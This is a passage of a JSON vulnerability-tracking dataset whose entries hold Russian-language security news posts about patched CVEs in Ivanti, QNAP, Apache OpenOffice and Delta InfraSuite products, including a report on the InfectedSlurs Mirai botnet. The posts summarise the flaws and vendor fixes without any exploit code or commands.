(\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f URL-\u0430\u0434\u0440\u0435\u0441\u0430 \u043c\u0430\u043a\u0440\u043e\u0441\u0430).\n\n\u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u043b\u0438\u0441\u044c, \u0437\u0430\u0442\u043e PoC \u0432 \u043d\u0430\u043b\u0438\u0447\u0438\u0438, \u0437\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c CVE-2022-43680. \u0412\u0441\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0431\u044b\u043b\u0438 \u043d\u0430\u0439\u0434\u0435\u043d\u044b \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Apache OpenOffice 4.1.14 \u0438 \u0441\u0442\u0430\u0440\u0448\u0435.\n\n\u0427\u0442\u043e \u0436\u0435 \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0445 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432, \u0442\u043e \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f.\n\nIvanti \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043e\u0431 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2023-39336 \u0432 Endpoint Manager (EPM).\n\n\u042d\u0442\u043e \u043e\u0448\u0438\u0431\u043a\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f SQL-\u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u0438\u043c\u0435\u044e\u0449\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0431\u0435\u0437 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 Ivanti, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0430\u0433\u0435\u043d\u0442 EPM. \n\n\u041f\u0440\u0438\u0447\u0435\u043c \u043a\u043e\u0433\u0434\u0430 \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 SQL Express, \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE \u043d\u0430 \u0433\u043b\u0430\u0432\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f, \u043d\u043e \u0430\u0442\u0430\u043a\u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442\u0441\u044f, \u043d\u0430 \u043a\u0430\u043a\u043e\u0439 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u044b \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f.\n\n\u0422\u0430\u0439\u0432\u0430\u043d\u044c\u0441\u043a\u0430\u044f QNAP Systems\u00a0\u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e\u0431 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u0445 \u0434\u044e\u0436\u0438\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u043e\u0440\u0442\u0444\u0435\u043b\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0432 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445, CVE-2023-39296, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u044b \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0430\u043c\u0438 \u043d\u0435\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0433\u043e \u0442\u0438\u043f\u0430, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0441\u0431\u043e\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u042d\u0442\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 QTS 5.1.x \u0438 \u0432\u0435\u0440\u0441\u0438\u0438 QuTS Hero h5.1.x \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0441 \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u043c QTS 5.1.3.2578 \u0441\u0431\u043e\u0440\u043a\u0438 20231110 \u0438 QuTS Hero h5.1.3.2578 \u0441\u0431\u043e\u0440\u043a\u0438 20231110.\n\n\u0412 \u0434\u0432\u0443\u0445 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0445 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 CVE-2022-43634, \u0434\u0435\u0444\u0435\u043a\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 Netatalk, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nQNAP \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0434\u0432\u0443\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Video Station \u2014 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f SQL (CVE-2023-41287) \u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u041e\u0421 (CVE-2023-41288), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u0441\u0435\u0442\u0438.\u00a0\u0412 Video Station 5.7.2 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u043e\u0431\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b.\n\n\u0412 QuMagie 2.2.1 \u0431\u044b\u043b\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0435\u0449\u0435 \u0434\u0432\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e: CVE-2023-47559, XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438 CVE-2023-47560, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u041e\u0421.\n\nQNAP \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0434\u044b\u0440 \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u043d\u043e, \u043a\u0430\u043a \u043d\u0430\u043c \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.", "creation_timestamp": "2024-01-09T15:00:07.000000Z"}, {"uuid": "f9f1a742-6d40-491e-a758-dbb471ca9897", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47565", "type": "seen", "source": "https://t.me/true_secator/5210", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Akamai \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0431\u043e\u0442\u043d\u0435\u0442 \u043d\u0430 \u0431\u0430\u0437\u0435 Mirai \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c InfectedSlurs, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0446\u0435\u043b\u0435\u043d \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 QNAP VioStor NVR \u0438 \u043c\u0430\u0440\u0448\u0442\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u0445 FXC.\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0441 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u0434\u0432\u0443\u0445 0-day \u0432 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u0445 \u0438 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0432\u0438\u0434\u0435\u043e\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u0445 \u043f\u043e\u043f\u0430\u043b\u0430 \u0432 \u043f\u043e\u043b\u0435 \u0437\u0440\u0435\u043d\u0438\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0435\u0449\u0435 \u043e\u043a\u0442\u044f\u0431\u0440\u0435 2023 \u0433\u043e\u0434\u0430.\n\n\u041f\u043e\u0441\u043b\u0435 \u0432\u044b\u043f\u0443\u0441\u043a\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u043c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 Akamai \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0434\u0432\u0430 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043e\u0442\u0447\u0435\u0442\u0430 (1,\u00a02), \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0432\u00a0\u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439\u00a0\u0437\u0430 \u043a\u043e\u043d\u0435\u0446 \u043d\u043e\u044f\u0431\u0440\u044f.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u0430\u044f InfectedSlurs, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2023-49897 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Wi-Fi-\u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u044b FXC AE1021 \u0438 AE1021PE.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u00a0\u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\u00a06 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2023 \u0441 \u0432\u0435\u0440\u0441\u0438\u0435\u0439 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u0433\u043e \u041f\u041e 2.0.10, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043f\u043e\u043c\u0438\u043c\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u0431\u0440\u043e\u0441 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u0434\u043e \u0437\u0430\u0432\u043e\u0434\u0441\u043a\u0438\u0445 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0441 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u043f\u0430\u0440\u043e\u043b\u044f \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u0414\u0440\u0443\u0433\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u0431\u043e\u0442\u043d\u0435\u0442\u0430 \u2014 CVE-2023-47565, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0432\u0438\u0434\u0435\u043e\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 QNAP VioStor NVR \u0441 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u043e\u0439 QVR 4.x \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434 \u041e\u0421.\n\nQNAP \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044e\u00a07 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2023, \u043f\u043e\u044f\u0441\u043d\u0438\u0432, \u0447\u0442\u043e \u0440\u0430\u043d\u0435\u0435 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435 QVR 5.x \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u043c\u043e\u0434\u0435\u043b\u0435\u0439.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0442\u0430\u043a\u0436\u0435 \u0441\u043c\u0435\u043d\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043d\u0430 QVR \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u043d\u0435\u043b\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u0432\u0435\u0440\u0441\u0438\u044f 5.0.0 \u0431\u044b\u043b\u0430 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u0430 \u043f\u043e\u0447\u0442\u0438 \u0434\u0435\u0441\u044f\u0442\u044c \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0434\u0435\u043b\u0438 VioStor NVR, \u0441\u0440\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0441\u0442\u0435\u043a, \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u2014 \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0445 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u043d\u043e\u0432\u044b\u0435, \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u043c\u043e\u0434\u0435\u043b\u0438.", "creation_timestamp": "2023-12-18T12:17:45.000000Z"}, {"uuid": "d76584eb-eaac-496f-afa3-791faeedc2f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47279", "type": "seen", "source": "https://t.me/true_secator/5187", "content": "\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 InfraSuite Device Master \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Delta OT \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\u0445 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nInfraSuite Device Master \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0435 \u041f\u041e \u0434\u043b\u044f \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0426\u041e\u0414, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044f \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043f\u0438\u0442\u0430\u043d\u0438\u044f \u0438 \u043e\u0445\u043b\u0430\u0436\u0434\u0435\u043d\u0438\u044f, \u0434\u0430\u0442\u0447\u0438\u043a\u0438 \u0438 ICS.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u041f\u0435\u0442\u0440\u043e\u043c \u0411\u0430\u0437\u044b\u0434\u043b\u043e \u0438 \u041d\u0433\u0443\u0435\u043d\u043e\u043c \u0414\u0438\u043d\u044c \u0425\u043e\u0430\u043d\u0433 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 Trend Micro Zero Day Initiative, \u043e \u0447\u0435\u043c 18 \u0438\u044e\u043b\u044f \u0438 24 \u0430\u0432\u0433\u0443\u0441\u0442\u0430 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0443.\n\n\u0412 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u043e \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u0447\u0435\u0442\u044b\u0440\u0435 \u0442\u0438\u043f\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0434\u0432\u0443\u043c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0431\u044b\u043b \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d \u0440\u0435\u0439\u0442\u0438\u043d\u0433 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438.\n\n\u041e\u0448\u0438\u0431\u043a\u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a CVE-2023-47279 (CVSS 7.5), CVE-2023-46690 (CVSS 8.8) CVE-2023-39226 (CVSS 9.8) \u0438 CVE-2023-47207 (CVSS 9.8).\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438, \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u0414\u0432\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u0434\u044b\u0440\u044b \u0432 